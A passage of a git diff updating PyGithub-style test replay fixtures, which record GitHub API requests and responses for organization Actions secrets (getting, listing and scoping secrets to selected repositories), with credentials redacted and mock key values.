('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'EFFA:283F:3507349:6C3D1AC:60E5C0EC')] - +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"c4606c130c7721bb585650252d80e1ff8f820824f646c6deac669e8a152b3888"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '22'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EFF8:606A:45FCD2:148B7C7:60E5C0EC')] +{} https DELETE @@ -117,5 +84,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:49 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'EFFB:283B:2A0457:12E56EB:60E5C0ED')] - - diff --git a/tests/ReplayData/OrganizationSecrets.testGetPublicKey.txt b/tests/ReplayData/OrganizationSecrets.testGetPublicKey.txt index a4e9ac479c..4e4f857414 100644 --- a/tests/ReplayData/OrganizationSecrets.testGetPublicKey.txt +++ b/tests/ReplayData/OrganizationSecrets.testGetPublicKey.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"211785f224e61d19e5d0e0d4c3f181e89576e367101befe77b7c7fa3e2c2cb65"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '32'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F002:137A:F37035:2DA1574:60E5C0EF')] {"key_id":"123456789012345678","key":"aAAAaAAAA11A1Aa1aaaAAA1AAAaAAAAaAAa1/AAaA11="} - diff --git a/tests/ReplayData/OrganizationSecrets.testGetSecret.txt b/tests/ReplayData/OrganizationSecrets.testGetSecret.txt index e081ab2c13..ca08f4743b 100644 --- a/tests/ReplayData/OrganizationSecrets.testGetSecret.txt +++ b/tests/ReplayData/OrganizationSecrets.testGetSecret.txt @@ -2,10 +2,20 @@ https GET api.github.com None -/orgs/coveooss/actions/secrets/TEST_SECRET +/orgs/coveooss/actions/secrets/test_secret {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ec31fd636bfbbf08962cf1f45b777395209df6f0b664f96631616e87feac379c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4961'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '39'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F00A:6E35:2B97912:56F1C15:60E5C0F1')] -{"name":"TEST_SECRET","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"all"} +{"name":"test_secret","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"all"} +https +GET +api.github.com +None +/orgs/coveooss/actions/secrets/test_secret +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ec31fd636bfbbf08962cf1f45b777395209df6f0b664f96631616e87feac379c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4961'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '39'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F00A:6E35:2B97912:56F1C15:60E5C0F1')] +{"name":"test_secret","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"all"} diff --git a/tests/ReplayData/OrganizationSecrets.testGetSecrets.txt b/tests/ReplayData/OrganizationSecrets.testGetSecrets.txt index 1720337450..4d2d9df249 100644 --- a/tests/ReplayData/OrganizationSecrets.testGetSecrets.txt +++ b/tests/ReplayData/OrganizationSecrets.testGetSecrets.txt @@ -7,5 +7,15 @@ None None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b973f11065617da69bf341900bfb639e99b53e7fc0a6a1beb3c7a8a0be3a513e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4954'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '46'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F011:7307:2BBC939:84F65C9:60E5C0F3')] -{"total_count":1,"secrets":[{"name":"TEST_SECRET","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"all"}]} +{"total_count":1,"secrets":[{"name":"test_secret","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"all"}]} +https +GET +api.github.com +None +/orgs/coveooss/actions/secrets/test_secret +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ec31fd636bfbbf08962cf1f45b777395209df6f0b664f96631616e87feac379c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4961'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '39'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F00A:6E35:2B97912:56F1C15:60E5C0F1')] +{"name":"test_secret","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"all"} diff --git a/tests/ReplayData/OrganizationSecrets.testSecretSelectedRepositories.txt b/tests/ReplayData/OrganizationSecrets.testSecretSelectedRepositories.txt index c3db035e64..2f7c28bd96 100644 --- a/tests/ReplayData/OrganizationSecrets.testSecretSelectedRepositories.txt +++ b/tests/ReplayData/OrganizationSecrets.testSecretSelectedRepositories.txt @@ -15,7 +15,7 @@ api.github.com None /orgs/coveooss/actions/secrets/exclusive_secret {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"encrypted_value": "MOCK_ENCRYPTED_VALUE", "key_id": "123456789012345678", "visibility": "selected"} +{"encrypted_value": "MOCK_ENCRYPTED_VALUE", "key_id": "123456789012345678", "visibility": "selected", "selected_repository_ids": []} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"c4606c130c7721bb585650252d80e1ff8f820824f646c6deac669e8a152b3888"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4946'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '54'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'F019:439D:2539FD5:7830213:60E5C0F6')] {} @@ -24,18 +24,7 @@ https GET api.github.com None -/orgs/coveooss/actions/secrets/exclusive_secret -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"be470792f357455131f44d234471701247899a1d35db27c2eafc885ce269e547"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4945'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '55'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F01B:6BC8:387C249:73E1DE1:60E5C0F6')] -{"name":"EXCLUSIVE_SECRET","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"selected","selected_repositories_url":"https://api.github.com/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories"} - -https -GET -api.github.com -None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories?per_page=1 +/orgs/coveooss/actions/secrets/exclusive_secret/repositories?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -46,29 +35,29 @@ https PUT api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +/orgs/coveooss/actions/secrets/exclusive_secret/repositories +{'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"selected_repository_ids": [383806965, 383814132]} -204 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:59 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4943'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '57'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'F01D:439B:202F3EE:475CD52:60E5C0F7')] - +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4da1dbac45bc62bd135357853603fa89237f3f3d1136b1eff12aca68ca9db573"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4944'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '56'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F01C:58F4:3C3EFAC:80984A3:60E5C0F6')] +{} https GET api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories?per_page=1 +/orgs/coveooss/actions/secrets/exclusive_secret/repositories?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:58:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4b8e9b12a397b13870f7a92985b49e0c5be0d0904100ae05c5673f7126ee7dbe"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4942'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '58'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F01E:74F3:2F64F3F:820B614:60E5C0FA')] +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:58:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4b8e9b12a397b13870f7a92985b49e0c5be0d0904100ae05c5673f7126ee7dbe"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4942'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '58'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F01E:74F3:2F64F3F:820B614:60E5C0FA')] {"total_count":2,"repositories":[{"id":383806965,"node_id":"MDEwOlJlcG9zaXRvcnkzODM4MDY5NjU=","name":"github-app-playground","full_name":"coveooss/github-app-playground","private":true,"owner":{"login":"coveooss","id":52070292,"node_id":"MDEyOk9yZ2FuaXphdGlvbjUyMDcwMjky","avatar_url":"https://avatars.githubusercontent.com/u/52070292?v=4","gravatar_id":"","url":"https://api.github.com/users/coveooss","html_url":"https://github.com/coveooss","followers_url":"https://api.github.com/users/coveooss/followers","following_url":"https://api.github.com/users/coveooss/following{/other_user}","gists_url":"https://api.github.com/users/coveooss/gists{/gist_id}","starred_url":"https://api.github.com/users/coveooss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveooss/subscriptions","organizations_url":"https://api.github.com/users/coveooss/orgs","repos_url":"https://api.github.com/users/coveooss/repos","events_url":"https://api.github.com/users/coveooss/events{/privacy}","received_events_url":"https://api.github.com/users/coveooss/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/coveooss/github-app-playground","description":"To test GitHub API calls","fork":false,"url":"https://api.github.com/repos/coveooss/github-app-playground","forks_url":"https://api.github.com/repos/coveooss/github-app-playground/forks","keys_url":"https://api.github.com/repos/coveooss/github-app-playground/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coveooss/github-app-playground/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coveooss/github-app-playground/teams","hooks_url":"https://api.github.com/repos/coveooss/github-app-playground/hooks","issue_events_url":"https://api.github.com/repos/coveooss/github-app-playground/issues/events{/number}","events_url":"https://api.github.com/repos/coveooss/github-app-playground/events","assignees_url":"https://api.github.com/repos/coveooss/github-app-playground/assignees{/user}","branches_url":"https://api.github.com/repos/coveooss/github-app-playground/branches{/branch}","tags_url":"https://api.github.com/repos/coveooss/github-app-playground/tags","blobs_url":"https://api.github.com/repos/coveooss/github-app-playground/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coveooss/github-app-playground/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coveooss/github-app-playground/git/refs